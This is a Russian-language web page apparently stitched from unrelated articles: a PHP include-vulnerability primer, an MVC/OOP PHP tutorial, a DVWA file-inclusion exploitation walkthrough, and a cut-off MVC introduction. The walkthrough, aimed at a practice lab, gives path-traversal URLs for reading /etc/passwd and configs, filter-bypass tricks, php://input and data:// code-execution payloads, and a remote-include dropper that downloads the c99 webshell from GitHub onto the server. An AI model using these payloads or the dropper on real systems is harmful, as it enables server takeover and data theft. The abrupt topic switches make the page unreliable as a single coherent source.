PHP include уязвимость: от теории к практике. Совместное использование принципов MVC и ООП

В этой статье я расскажу вам об одной из самых распространённых уязвимостей, встречающихся в php-сценариях - include "баге". Вы узнаете как принцип действия, так и некоторые способы устранения данной уязвимости.

Внимание!!! Вся информация представленная в данной статье служит чисто в ознакомительных целях! Автор не несёт никакой ответственности за её злонамеренное применение!

Уязвимость php - include одна из самых известных, но между тем и самых распространённых "дыр" встречающихся сегодня в php сценариях. Она возникает, когда по невнимательности, незнанию, либо по какой-то другой ведомой только ему одному причине, программист позволяет использовать данные, переданные сценарию в виде параметров, без дополнительной проверки (такие данные ещё называют "мечеными") в качестве параметра функцией include. Для того, чтобы лучше разобраться в принципе действия данной уязвимости, необходимо иметь некоторое представление о вышеназванной функции.

php функция include, а также include_once

Данная функция используется для подключения к запущенному php сценарию дополнительных программных модулей. Причём, в отличие от похожей по свойствам require, функция include исполняет эти модули непосредственно в своём процессе. А следовательно, прикрепляемые таким образом модули будут исполняться не как отдельные сценарии, а как части подключившего их к себе сценария. Точнее, include будет исполнять только ту часть файла, которая заключена между спец. тэгами:

""

Всё остальное php просто выдаёт в виде текста. Т.е. если подключить текстовый файл (например: /etc/passwd:)) не содержащий указанных тэгов, всё содержимое этого файла будет выдано интерпретатором.

Пример вызова:

Как вы наверное заметили, функция include имеет всего 1 параметр ($file), который указывает путь и имя файла подключаемого модуля. Стоит отметить также, что в юниксоподобных системах (в зависимости от настроек php) в качестве параметра можно передавать не только путь и имя файла, но и url (Интернет адрес) файла(!!!).

Практика

Предположим, на некотором ВЕБ-сервере установлен следующий php сценарий (его url http://www.superpupersite.com/index.php):

А также множество различных подключаемых сценариев-модулей для него:

home.php
feedback.php
...

Автор этого сценария предполагал, что все посетители сайта будут мирно переходить от одной страницы к другой нажимая кнопочки, ссылочки и прочие объекты управления. А сценарий, в зависимости от переданного параметра file, будет присоединять один или другой модуль, таким образом генерируя различные html страницы (чаще всего include используют именно таким образом).

Он даже представить себе не мог, что однажды (в студёную зимнюю пору) на сайт забредёт некий любознательный Вася Пупкин. Который, исходя из своей любознательности рассматривая эти самые ссылки, предположил бы (пока он ещё не знает, как и что там на самом деле), что параметр file является не чем иным, как имя и путь к файлу и что сценарий использует функцию include (не удивительно, т.к. на сегодня include используется чуть ли не в каждом 3-ем скрипте). Вася тут же решил проверить своё предположение следующим образом:

Вася выполнил следующий запрос:

И у него получилось! Как и задумывалось, в окне браузера он увидел список файлов и каталогов. Далее по нарастающей, "дыра" была обнаружена, и в ход пошли не менее интересные сценарии, подробное описание которых заняло бы немало места и по этим соображениям не публикуется здесь:) В общем, долго ли, коротко ли, но закончилось всё дефейсом (дефейс - подмена начальной страницы на свою). Вот такая грустная история!

Борьба с вредителем

Прочитав всё вышеописанное, многие из вас задаются вопросом: "существуют ли методы борьбы с этой ужастной уязвимостью? ". "Да" - гордо отвечау я:) . Вот некоторые (отнюдь не все) из них:

Самый простой способ, с точки зрения программирования, это преобразовать переменную $module в числовой формат (settype($module,”integer”)), но при этом придётся пронумеровать модули, а также собрать их в один каталог (“module1.php”, ”module2.php” …”module.php”).

Более сложный с точки зрения реализации метод борьбы с вредителями:) - это создание отдельного файла-списка модулей, которые возможно запустить. И в зависимости, находится ли тот или иной модуль в списке, выполнять либо выдавать соответствующую ошибку (или запускать модуль по умолчанию или если Вы, хотите напугать «экспериментатора» выдать сообщение о том, что его адрес зафиксирован и чтоб он сушил сухари...).
Пример:
switch ($case) // $case - имя переменной передаваемой в параметре к скрипту
{
case news:
include("news.php");
break;

case articles:
include("guestbook.php");
break;

... // и т.д.
default:
include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница
break;
}

Третий метод является промежуточным- что-то среднее между 1-ым и 2-ым. Вам просто надо заменить все служебные символы ("..","/","") например, на прочерки. Правда, модули (там должны располагаться только выполняемые модули и ничего кроме них!!!) в этом случае должны располагаться в одном каталоге, но их названия могут быть нормальными словами (например “news”, ”guestbook” и т.д.).
Заключение

Вот в общем-то и всё, что я хотел рассказать вам в этот раз. Вывод из этого всего может быть такой: прежде чем используете данные полученные от пользователя в ваших web сценариях подумайте, а не надо ли их предварительно проверить и надлежащим образом обработать. Это касается не только полей данных формы передаваемых браузером (методы get и post), но и cookie (злоумышленник может добраться и до них).

Представьте сайт, состоящий из двух страниц. На главной старице отображается некоторый текст:

Вторая страница представляет собой его редактор:


На ней мы можем изменять содержание главной страницы и сохранять изменения.

В верхней части страниц расположена "шапка" сайта, которая состоит из двух элементов. Первый из них неизменен и отражает название сайта. Второй содержит название текущей страницы: либо "Чтение", либо "Редактирование".

Ниже шапки расположено меню, которое одинаково для всех страниц сайта и содержит ссылки на эти страницы.

Также неизменным остается "подвал" страницы, в котором отображается дополнительная информация о сайте, например, адрес, телефон, информация о создателе страницы.

Центральную часть станицы "Чтение" занимает текст, который мы можем задавать на странице "Редактирование", используя обычную HTML-форму с элементом textarea

Исходные положения

Нам предстоит объединить два подхода - MVC и ООП. Для этого при разработке архитектуры системы будем руководствоваться следующими правилами.

  • Согласно шаблону проектирования MVC файлы контроллеров, моделей и представлений будут разнесены по трем отдельным каталогам.
  • Каждый контроллер будет представлен отдельным файлом, в котором будет объявлен класс контроллера, инкапсулирующий логику работы контроллера и предоставляющий методы для обработки HTTP-запроса пользователя.
  • Каждой странице сайта будет соответствовать отдельный контроллер, отвечающий за ее вывод.
  • Модели системы также будут реализованы в виде классов.
  • Представления будут реализованы в виде обычных PHP-файлов с HTML- разметкой с вкраплениями PHP-кода для отображения значения переменных сценария.
  • HTTP-запросы к системе будут осуществляться через специальную точку входа - файл index.php.
  • Хоть эта тема уже и обсуждалась, повторим, что следует четко представлять различия между назначением классов контроллеров и классов модели. Классы контроллеров служат для того, чтобы обеспечить обработку HTTP-запроса пользователя, т. е. получить параметры входного запроса, и подготовить результирующую HTML-страницу. При выполнении этой работы контроллеры задействуют классы модели, которые представляют отдельные функциональные блоки: работу с базой данных, работу с файлами, работу с аккаунтами пользователей и т. п. Каждый такой логически связный блок представляется отдельным классом. Например, в вашей системе может быть класс для работы с базой данных, который будет хранить дескриптор текущего соединения с БД и предоставлять набор методов для выполнения запросов к БД и получения различных наборов данных.

    Точка входа

    Точкой входа называют сценарии, которые пользователь может вызывать непосредственно из адресной строки браузера. Практически все примеры, написанные вами ранее, содержали несколько точек входа. Однако на данный момент хорошим тоном веб-программирования считается использование одной точки входа на сайт. Вся логика перехода между страницами реализуется с помощью дополнительных параметров, передаваемых сценарию, а также за счет сессий и cookies. В единственной точке входа программист может определять действия, характерные для каждой страницы сайта. Это может быть аутентификация пользователя, установление соединения с базой данных, инициализация глобальных переменных и прочие задачи.

    В нашем примере мы также будем пользоваться единой точкой входа - файлом index.php. Давайте рассмотрим его содержание:

    Давайте разберем работу данного сценария построчно.

    Include_once("inc/C_View.php"); include_once("inc/C_Edit.php");

    Первые две строчки подключают файлы контроллеров для страниц "Чтение" и "Редактирование".

    Switch ($_GET["c"])

    Здесь происходит анализ GET-параметра с именем c :

    Case "edit": $controller = new C_Edit(); break;

    Если данный параметр хранит строку "edit ", тогда переменной $controller присваивается объект класса C_Edit , описание которого находится в файле inc/C_Edit.php , подключенном в самом начале сценария.

    В случае если параметр с не задан или имеет значение, отличное от "edit " , выполняется другая ветка оператора switch :

    Default: $controller = new C_View();

    Здесь переменной $controller присваивается экземпляр класса C_View .

    Наконец, последняя строка вызывает метод Request() у созданного объекта:

    $controller->Request();

    Обратите внимание, здесь мы можем увидеть типичный пример полиморфизма . Переменная $controller может хранить как экземпляр класса C_Edit , так и экземпляр класса C_View . Поэтому мы не можем заранее знать, метод Request() какого именно класса будет вызван в сценарии. Важно лишь то, что для корректной работы сценария оба класса должны иметь данный метод.

    В целом же задача точки входа проста - передать управление одному из контроллеров. Какому именно, определяется с помощью параметра GET-запроса с именем с .

    Иерархия контроллеров

    Давайте приступим к проектированию системы и для начала определим, какие контроллеры будут в ней присутствовать. Из файла index.php видно, что в системе есть как минимум два контроллера, представленные в виде классов C_Edit и C_View . Задача класса C_Edit - организовать вывод страницы "Редактирование", класса C_View - страницы "Чтение". Обработка входных параметров и вывод страницы инкапсулируется внутри метода Request() , который должен присутствовать как в классе C_View , так и в C_Edit . Это может натолкнуть на мысль о создании общего родительского класса для этих двух контроллеров. И действительно, реализация С_View будет во многом совпадать с C_Edit , поэтому выделение родительского класса базового контроллера - это полезное действие.

    Таким образом, мы пришли к мысли о необходимости создания базового класса контроллера. Назовем его C_Base . Он будет абстрактным и не будет иметь конкретных реализаций. Мы вводим его для того, чтобы другие классы контроллеров наследовались от него. Класс C_Base будет хранить базовые свойства и методы, характерные для каждого контроллера данного сайта.

    Давайте поразмышляем , какие параметры являются общими для каждой страницы сайта? Во-первых, это название сайта. Во-вторых, текст, расположенный внизу каждой страницы. Сюда же можно отнести пункты меню, которые одинаковы для каждой страницы сайта. Обобщая, можно сказать, что контроллер C_Base отвечает за базовый шаблон сайта.

    Очевидно, каждый контроллер будет содержать метод Request() , отвечающий за обработку запроса. Следовательно, его объявление также можно вынести в класс C_Base и сделать его абстрактным для того, чтобы классы-наследники были обязаны реализовать данный метод.

    Возможно, имеет смысл выделить еще какие-то общие свойства или методы для всех контроллеров сайта. Подумайте над этим самостоятельно. Подчеркнем, C_Base - это базовый класс, который объединяет в себе все общие элементы каждого контроллера конкретного сайта.

    Но давайте попробуем пойти еще дальше и подумаем, можно ли выделить класс контроллера, который инкапсулировал бы логику, неизменную для любого контроллера любого сайта? В такой класс мы уже не сможем вынести свойство названия сайта, но, к примеру, метод Request() , отвечающий за обработку запроса и формирование результирующей страницы, неизменно должен присутствовать в любом контроллере.

    Не будем томить и продемонстрируем иерархию классов контроллеров, которую мы вам предлагаем принять за образец:

    Данная диаграмма используется в описательном языке UML и называется диаграммой классов. Каждый прямоугольник на ней соответствует отдельному классу. В верхней части прямоугольника жирным выделено название класса. Стрелками показаны отношения наследования. Курсивом выделены свойства классов, прямым шрифтом - его методы. Знак – перед свойствами или методами говорит о том, что свойство или метод объявлены с модификатором private , знак # соответствует модификатору protected ,+ - модификатору public .

    Класс Controller

    Controller является базовым классом контроллера, который призван инкапсулировать самые общие элементы, характерные для контроллеров любых сайтов. Сюда мы вынесли ряд вспомогательных функций:

  • Template() - для подстановки в шаблон набора переменных и вывода его на экран;
  • IsGet() - для проверки, был ли выполнен GET-запрос;
  • IsPost() - для проверки, был ли выполнен POST-запрос.
  • В классе Controller присутствует объявление уже известного нам метода Request() .
    Давайте посмотрим на его реализацию:

    Public function Request() { $this->OnInput(); $this->OnOutput(); }

    В методе Request() мы делим обработку запроса на две части: обработку входных данных (метод OnInput() ) и формирование результирующей страницы (метод OnOutput() ). Такое разделение довольно удобно, и мы предлагаем его использовать и в будущих проектах. Методы OnInput() и OnOutput() должны быть переопределены в дочерних классах.

    Класс C_Base

    C_Base является базовым контроллером для нашего конкретного сайта. В большинстве случаев на весь сайт нужен один базовый контроллер. Класс C_Base отвечает за базовый шаблон HTML, в нем могут быть определены базовые для всего сайта переменные, например, название сайта.

    Кроме того, в классе C_Base нужно переопределить методы OnInput() и OnOutput() и вынести в них действия, общие для всех контроллеров сайта. Контроллеры, которые будут наследоваться от класса C_Base , будут переопределять эти методы, но они смогут вызвать родительские методы с помощью ключевого слова parent .

    Мы предлагаем следующую реализацию методов OnInput() и OnOutput() в классе C_Base .

    Protected function OnInput() { $this->title = "Главная страница"; $this->content = ""; } protected function OnOutput() { $vars = array("title" => $this->title,"content" => $this->content); $page = $this->Template("main", $vars); echo $page; }

    В методе OnInput() мы можем инициализировать переменные шаблона значениями по умолчанию. В методе OnOutput() мы сначала формируем массив переменных шаблона, а затем используем метод Template() , который определен в классе Controller и отвечает за подстановку переменных в шаблон. Его реализация остается за вами. По нашей задумке метод Template() принимает два параметра: первый из них - название подключаемого шаблона, второй параметр - это массив переменных, которые должны быть подставлены в шаблон. В завершение сформированная страница выводится на экран. Как вы понимаете, это последняя операция, которую должен выполнить сценарий. Поэтому функция OnOutput() класса C_Base должна вызываться в самом конце нашего PHP-сценария.

    Контроллеры C_View и C_Edit

    C_Viev и C_Edit - контроллеры конкретных страниц сайта, они переопределяют методы OnInput() и OnOutput() , но также передают управление контроллеру C_Base .

    Давайте рассмотрим пример реализации этих методов для класса C_View .

    Protected function OnInput() { parent::OnInput(); $this->title = $this->title . " :: Чтение"; $this->text = $this->getText(); } protected function OnOutput() { $vars = array("text" => $this->text); $this->content = $this->Template("theme/v_view.php", $vars); parent::OnOutput(); }

    В методе OnInput() сначала идет вызов родительского метода, затем определяется заголовок страницы и извлекается ее текст с помощью метода getText() . Конкретная реализация метода getText() для нас сейчас не важна. Он может получать текст из базы данных или из файла, или же вовсе возвращать некоторую предопределенную константу. Важно то, что в результате мы сохраняем текст в некотором поле класса.

    Метод OnOutput() начинается с формирования массива, который передается в функцию формирования шаблона Template() . Результат ее выполнения сохраняется в поле content . После чего вызывается родительский метод OnOutput() . Вернитесь к тексту метода OnOutput() класса C_Base и обратите внимание на то, что в нем как раз-таки используется значение поля content , который мы формируем в текущем методе OnOutput() класса С_View .

    Если вы взглянете на код еще раз, то заметите, что вызов родительских методов OnInput() и OnOuput() как бы обрамляет цикл обработки запроса в классе C_View .

    Цикл обработки запроса

    Теперь давайте посмотрим на общий вид обработки запроса, который мы получили. Выполнение сценария начинается с файла index.php. Здесь выбирается нужный контроллер, и ему передается управление вызовом метода Request() .

    Этот метод запускает две фазы обработки запроса:

  • Обращение к модели (OnInput());
  • Генерация HTML (OnOutput()).
  • Первая фаза должна отработать в такой последовательности:
  • Базовый контроллер (C_Base);
  • Конкретный контроллер (C_View или C_Edit).
  • Далее начинается фаза генерации HTML, она должна пройти в обратной последовательности:
  • Конкретный контроллер (C_View или C_Edit);
  • Базовый контроллер (C_Base).
  • На диаграмме данный цикл можно представить так:


    В заключение

    На этом мы завершаем рассказ о применении ООП совместно с концепцией MVC . Оставшиеся функциональные блоки сайта вам предстоит реализовать самостоятельно. Не пугайтесь высокой сложности задания. Постепенно новые концепции станут для вас знакомыми, и вы сможете намного более уверенно в них ориентироваться.

    Программирование еще никому не давалось без усилий. С каждым днем практики, с каждым новым PHP-сценарием вы набираете собственный бесценный опыт, который в будущем позволит вам быстро, грамотно и эффективно разрабатывать интернет-системы любой сложности. Залог такой возможности - это профессиональный подход к веб-разработке.

    Иногда внедрение файлов называют инклудом, иногда рассматривают как часть PHP инъекции (инъекция кода). Последнее не совсем верно, поскольку уязвимость внедрение файлов не обязательно связана с выполнением кода.

    Уязвимость может возникнуть при использовании (в PHP) таких выражений как:

    • require_once,
    • include_once,
    • include,
    • require,

    У каждого из них есть небольшие нюансы, но общее у них то, что они включают в программу файл и выполняют его. Проблему эти выражения могут вызвать в том случае, если в них передаётся пользовательский ввод, а программа недостаточно его отфильтровывает.

    Кстати, да, это именно выражения, а не функции. Необзятельно писать так:

    Require("somefile.php");

    Более предпочтительным является такой вариант:

    Require "somefile.php";

    Но это отступление, которое не имеет никакого отношения к уязвимости.

    Если инклуд файлов осуществляется выражениями require_once, include_once, include, require, то можно сказать, что в это же время имеет место и инъекция кода. Тем не менее, возможен инклуд файлов без выполнения кода на сервере. Например, веб-сайт меняет внешний вид исходя из выбранной пользователем темы. Название тем соответствует названию HTML файлов, которые считываются на сервере. В данной ситуации если запрос сформирован так, чтобы осуществить считывание файла, который для этого не предназначен (например, файл PHP), то вместо выполнения команд, будет выведен исходный код PHP.

    Пользователь может указать в качестве файла для инклуда удалённый или локальный файл. На основании этого выделают две соответствующие разновидности:

    • локальное внедрение файлов
    • удалённое внедрение файлов

    Опасность удалённого инклуда заключается в выполнении произвольного кода на уязвимом сервере. Обычно это используется для заражения бэкдором.

    Опасность локального внедрения файлов заключается в том, что пользователь может вывести содержание файлов, на просмотр которых у него нет прав (исходные коды программ, системные файлы с настройками и паролями). Также при локальном инклуде возможно выполнение стороннего кода (например, для заражения бэкдором), если файл со злонамеренным кодом был предварительно загружен на сервер, либо использовался метод отравления логов, либо некоторые другие методы.

    Локальный инклуд файлов является не менее опасным, чем внедрение удалённых файлов.

    Эксплуатация локального внедрения файлов

    Попробовать свои силы на этой уязвимости можно в Damn Vulnerable Web Application (DVWA) . Я использую Web Security Dojo , где DVWA уже установлен.

    Начнём с низкого уровня (low DVWA Security ).

    Перейдём на страницу File Inclusion http://localhost/dvwa/vulnerabilities/fi/?page=include.php

    • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
    • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
    • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

    Если в качестве аргумента переменной передаётся значение, похожее на имя файла (file1.php, file2.php), то можно предположить, что используется инклуд. Поскольку расширение файла .php , то вероятнее всего файл исполняется на сервере (т.е. возможно выполнить внедрение кода), а не просто выводится для показа.

    В DVWA есть страничка http://localhost/dvwa/about.php, она расположена на два уровня вверх, попробуем просмотреть её таким образом: http://localhost/dvwa/vulnerabilities/fi/?page=../../about.php

    Да, уязвимость локальный инклуд присутствует. При вводе не фильтруются переходы в верхние директории (../ ), список файлов для инклуда не является исчерпывающим (вместо предлагаемых file*.php мы выбрали about.php).

    Иногда используются инклуд файлов, но адреса могут выглядеть, например, так http://localhost/dvwa/vulnerabilities/fi/?page=file1. В этом случае в скрипте может добавляется расширение и скрипт внедряет файл, название которого окончательно сформировано в скрипте. Как правило, уязвимость в таком виде трудно/невозможно эксплуатировать.

    Часто в качестве примера эксплуатации локального инклуда файлов любят приводить что-то вроде такого:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

    Как видим, это сработало. Но поскольку веб-браузеры игнорируют /r/n (символы новой строки), то нам нужно открыть исходный код, чтобы записи стали читаемыми:

    К сожалению, никаких паролей в файле /etc/passwd уже давно нет.

    С сервера можно стянуть разные файлы настроек, SSL-сертификаты, в принципе, любой файл, который открыт для чтения всем пользователям или на чтения которого у веб-сервера достаточно прав:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

    Что касается общих хостингов, то иногда удаётся заглянуть в чужие папки (опять же, при неправильной настройке прав пользователей).

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

    Задача усложняется тем, что нам нужно знать путь до файла.

    Эксплуатация удалённого внедрения файлов

    PHP очень гибкий и дружественный для разработчиков язык программирования. Команды внедрения (инклуда) файлов и некоторые другие прекрасно распознают и правильн6о обрабатывают не только локальные файлы, но и URL…

    Попробуем вместо имени файла записать URL сайта https://сайт/:

    http://localhost/dvwa/vulnerabilities/fi/?page=https://сайт/

    Посмотрите, как интересно получается:

    Произошло следующее, PHP интерпретатор получил команду сделать инклуд файла/сайта https://сайт/. Он открыл/загрузил соответствующий адрес и отправил полученный код на выполнение в качестве PHP программы. Поскольку PHP выполняет только код, окружённый соответствующими тегами (в данном случае кода вообще не было), а всё остальное выводит как есть, то вся страница веб-сайта выведена как есть.

    Конечно эта уязвимость интересна нам не тем, что мы через один сайт можем просматривать другие сайты.

  • Генерируем / находим исходный код бэкдора
  • Создаём правильный с точки зрения PHP файл для выполнения на сервере, который сохраняет исходный код бэкдора в PHP файл
  • Сохраняем полученный код в ТЕКСТОВЫЙ файл
  • Загружаем этот текстовый файл на подконтрольный сервер
  • На уязвимом сервере с помощью удалённого инклуда файлов сохраняем наш бэкдор
  • Я выделил слово «текстовый» по той причине, что на подконтрольном нам сервере должен быть именно текстовый файл, который не должен исполнятся на нашем сервере. Наш сервер должен только показать его содержимое.

    Для создания бэкдора можно воспользоваться Weevely , PhpSploit , а можно взять готовые решения. Давайте в этот раз воспользуемся готовым .

    Я присвою переменной $backdoor исходный код бэкдора, который скачаю с гитхаба. Затем использую функцию file_put_contents для сохранения полученного исходного кода в файл c99unlimited.php.

    Код, который я разместил в текстовом файле

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "done!";

    Он доступен по адресу http://miloserdov.org/sec.txt

    Теперь, используя удалённый инклуд, мы загружаем бэкдор на уязвимый сервер.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Обратите внимание на надпись done!, она выведена скриптом, т.е. вероятно всё получилось.

    Поскольку скрипт, который делает инклуд файлов размещён в каталоге http://localhost/dvwa/vulnerabilities/fi/, а наш новый файл с бэкдором должен был сохраниться с именем c99unlimited.php, то полный адрес бэкдора на уязвимом сервере должен быть: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Проверяем:

    Отлично, теперь у нас есть все функции, которые только могут понадобиться администратору веб-сервера… и тем, кто имеет доступ к его серверу.

    Обход фильтрации при локальном инклуде файлов

    Перейдём на средний уровень (medium ) безопасности (настраивается в DVWA Security ).

    Если мы заглянем в исходный код (кнопка View Source ):

    то мы увидим, что теперь символы ../ фильтруются. Это не даст нам перейти на каталоге выше того, в которой работает уязвимый скрипт.

    Т.е. так уже ничего не получится:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Давайте подумаем, как работает фильтрация в этом случае? Допустим, фильтруется слово «плохо », тогда строка вида

    хорошо плохо хорошо

    после фильтрации будет такой:

    хорошо хорошо

    А если вставить такую строку

    пло плохо хо

    то после фильтрации (будет удалено «плохо ») получится

    плохо

    В ../ мы вставляем посередине ещё раз ../ , получается …/./

    Пробуем такой адрес http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql/my.cnf

    Сработало!

    Ещё одним вариантом обхода может быть кодировка символов в шестнадцатеричную кодировку, пример такой строки:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    «../» может заменяться на «%2E%2E%2f».

    Также практикуется двойное кодирование в шестнадцатеричную кодировку, при котором «../» заменяется на «%252E%252E%252F»

    Локальный инклуд файлов при добавлении расширения в скрипте

    Если код с инклудом файлов имеет вид:

    Т.е. к любому пользовательскому вводу добавляется расширение.php или какое-то другое, то это не позволяет сформировать запрос таким образом, чтобы произвести атаку.

    Имеются несколько техник, которые предназначены для отбрасывания расширения, но их можно считать устаревшими, поскольку они работают на PHP 5.3, да и то не всех версий. Тем не менее, администраторы веб-серверов клинически консервативны и предпочитают ничего не трогать, если оно работает. Т.е. шанс встретить сервер с очень древней версией PHP есть, и об этих методиках следует знать.

    Использование нулевого байта %00 (null byte)

    В конце запроса для игнорирования расширения добавляется нулевой байт:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Второй метод называется атака обрезкой пути. Суть в том, что PHP обрезает пути длиннее 4096 байт. При этом PHP правильно открывает файл, даже если на конце его имени имеются слеши и точки. Если в качестве параметра передать что-то вроде?param1=../../../../etc/passwd/./././././ (где./ повторяется много тысяч раз), то конец файла вместе с расширением (которое прибавил скрипт, в результате чего имя файла стало includes/../../../../etc/passwd/./././././.php) будет отброшено. И в качестве имени файла получится includes/../../../../etc/passwd/./././././. А поскольку PHP не смущают конечные слеши и./ на конце файла, он их просто игнорирует, то в общей сложности PHP откроет файл по пути includes/../../../../etc/passwd.

    Обход фильтрации при удалённом внедрении файлов

    Как мы уже видели в исходном коде, на среднем уровне безопасности также отфильтровываются http:// и https://.

    Теперь http://localhost/dvwa/vulnerabilities/fi/?. Мы воспользуемся в точности тем же приёмом, что и для обхода фильтрации при локальном инклуде. Сформированный запрос:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://сайт/

    И ещё обратите внимание, что не фильтруется, например ftp , т.е. такой вариант сработал бы вообще без всяких ухищрений:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://сайт/

    Получение исходного кода PHP скриптов при инклуде файлов с php://filter

    Для этого трюка не требуется удалённый инклуд файлов. Будет использоваться своего рода мета-обёртка php://filter .

    Допустим, мы хотим увидеть исходный код файла file1.php, тогда для нашей ситуации запрос будет составлен так:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Обратите внимания на бессмысленную строчку из букв и цифр - это исходный код файла file1.php в кодировке base64. Поскольку это base64, то поддерживаются и бинарные файлы.

    Раскодируем файл:

    Удалённое выполнение кода с php://input

    Это не похоже на внедрение файлов и для этого опять не требуется загружать файлы.

    Для помощи я воспользуюсь расширением FireFox , вы также можете использовать его или любую другую программу (например, curl) умеющую передавать данные методом POST.

    php://input имеет доступ к сырому телу HTTP запроса, чтобы понять, что include("php://input") делает, откройте страницу

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    А в теле запроса отправьте правильный PHP код (например, с помощью метода POST). Это позволит вам выполнить любую разрешённую на удалённом сервере функцию!

    Удалённое выполнение кода с data://

    Кроме этого, PHP поддерживает URL-схему data:// Вы можете разместить код прямо в параметре GET! Следующий тест не требует каких-либо специальных инструментов, просто обычный браузер для выполнения атаки.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Некоторые файерволы веб-приложений могут заметить подозрительную строку в URL и заблокировать злой запрос. Но есть способ зашифровать строку как минимум в base64 кодировку:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Выполнение произвольных команд с /proc/self/environ

    /proc/self/environ - это хранилище переменных процесса. Если у процесса Apache достаточно прав для доступа к нему, то при открытии веб-страницы, на которой присутствует инклуд с подобным URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    выведет что-то вроде

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Обратите внимание на HTTP_USER_AGENT . Вместо него можно подставить правильный PHP код, который будет выполнен на удалённом сервере.

    Травление и внедрение логов при локальном инклуде файлов

    К сожалению, на последних версиях Apache этот метод больше не работает.

    Его суть заключается в том, что в логи веб-сервера внедряется код атакующего. Это можно сделать путём подмены User-Agent , либо даже просто передачей в GET параметре.

    Статичное внедрение удалённого файла

    Пример статичного инклуда:

    Эксплуатировать статичный инклуд можно в очень экзотичных ситуациях. Для внедрения злонамеренного кода необходимо осуществить атаку человек-посередине между двумя серверами: один из которых хостит веб-приложение, использующим инклуд, а второй хостит файл, используемый для инклуда.

    Заключение

    Для большинства приведённых здесь примеров необходимы определённые условия, которые сводятся к неправильной настройке сервера. Т.е. проще говоря, далеко не все показанные здесь методы сработают на большинстве веб-серверов.

    Многие начинают писать проект для работы с единственной задачей, не подразумевая, что это может вырасти в многопользовательскую систему управления, ну допустим, контентом или упаси бог, производством. И всё вроде здорово и классно, всё работает, пока не начинаешь понимать, что тот код, который написан - состоит целиком и полностью из костылей и хардкода. Код перемешанный с версткой, запросами и костылями, неподдающийся иногда даже прочтению. Возникает насущная проблема: при добавлении новых фич, приходится с этим кодом очень долго и долго возиться, вспоминая «а что же там такое написано то было?» и проклинать себя в прошлом.

    Вы можеть быть даже слышали о шаблонах проектирования и даже листали эти прекрасные книги:

    • Э. Гамма, Р. Хелм, Р. Джонсон, Дж. Влиссидесс «Приемы объектно ориентированного проектирования. Паттерны проектирования»;
    • М. Фаулер «Архитектура корпоративных программных приложений».
    А многие, не испугавшись огромных руководств и документаций, пытались изучить какой-либо из современных фреймворков и столкнувшись со сложностью понимания (в силу наличия множества архитектруных концепций хитро увязанных между собой) отложили изучение и применение современных интсрументов в «долгий ящик».

    Представленная статья будет полезна в первую очередь новичкам. Во всяком случае, я надеюсь что за пару часов вы сможете получить представление о реализации MVC паттерна, который лежит в основе всех современных веб-фреймворков, а также получить «пищу» для дальнейших размышлений над тем - «как стоит делать». В конце статьи приводится подборка полезных ссылок, которые также помогут разобраться из чего состоят веб-фреймворки (помимо MVC) и как они работают.

    Прожженные PHP-программисты вряд ли найдут в данной статье что-то новое для себя, но их замечания и комментарии к основному тексту были бы очень кстати! Т.к. без теории практика невозможна, а без практики теория бесполезна, то сначала будет чуть-чуть теории, а потом перейдем к практике. Если вы уже знакомы с концепцией MVC, можете пропустить раздел с теорией и сразу перейти к практике.

    1. Теория Шаблон MVC описывает простой способ построения структуры приложения, целью которого является отделение бизнес-логики от пользовательского интерфейса. В результате, приложение легче масштабируется, тестируется, сопровождается и конечно же реализуется.

    Рассмотрим концептуальную схему шаблона MVC (на мой взгляд - это наиболее удачная схема из тех, что я видел):

    В архитектуре MVC модель предоставляет данные и правила бизнес-логики, представление отвечает за пользовательский интерфейс, а контроллер обеспечивает взаимодействие между моделью и представлением.

    Типичную последовательность работы MVC-приложения можно описать следующим образом:

  • При заходе пользователя на веб-ресурс, скрипт инициализации создает экземпляр приложения и запускает его на выполнение.
    При этом отображается вид, скажем главной страницы сайта.
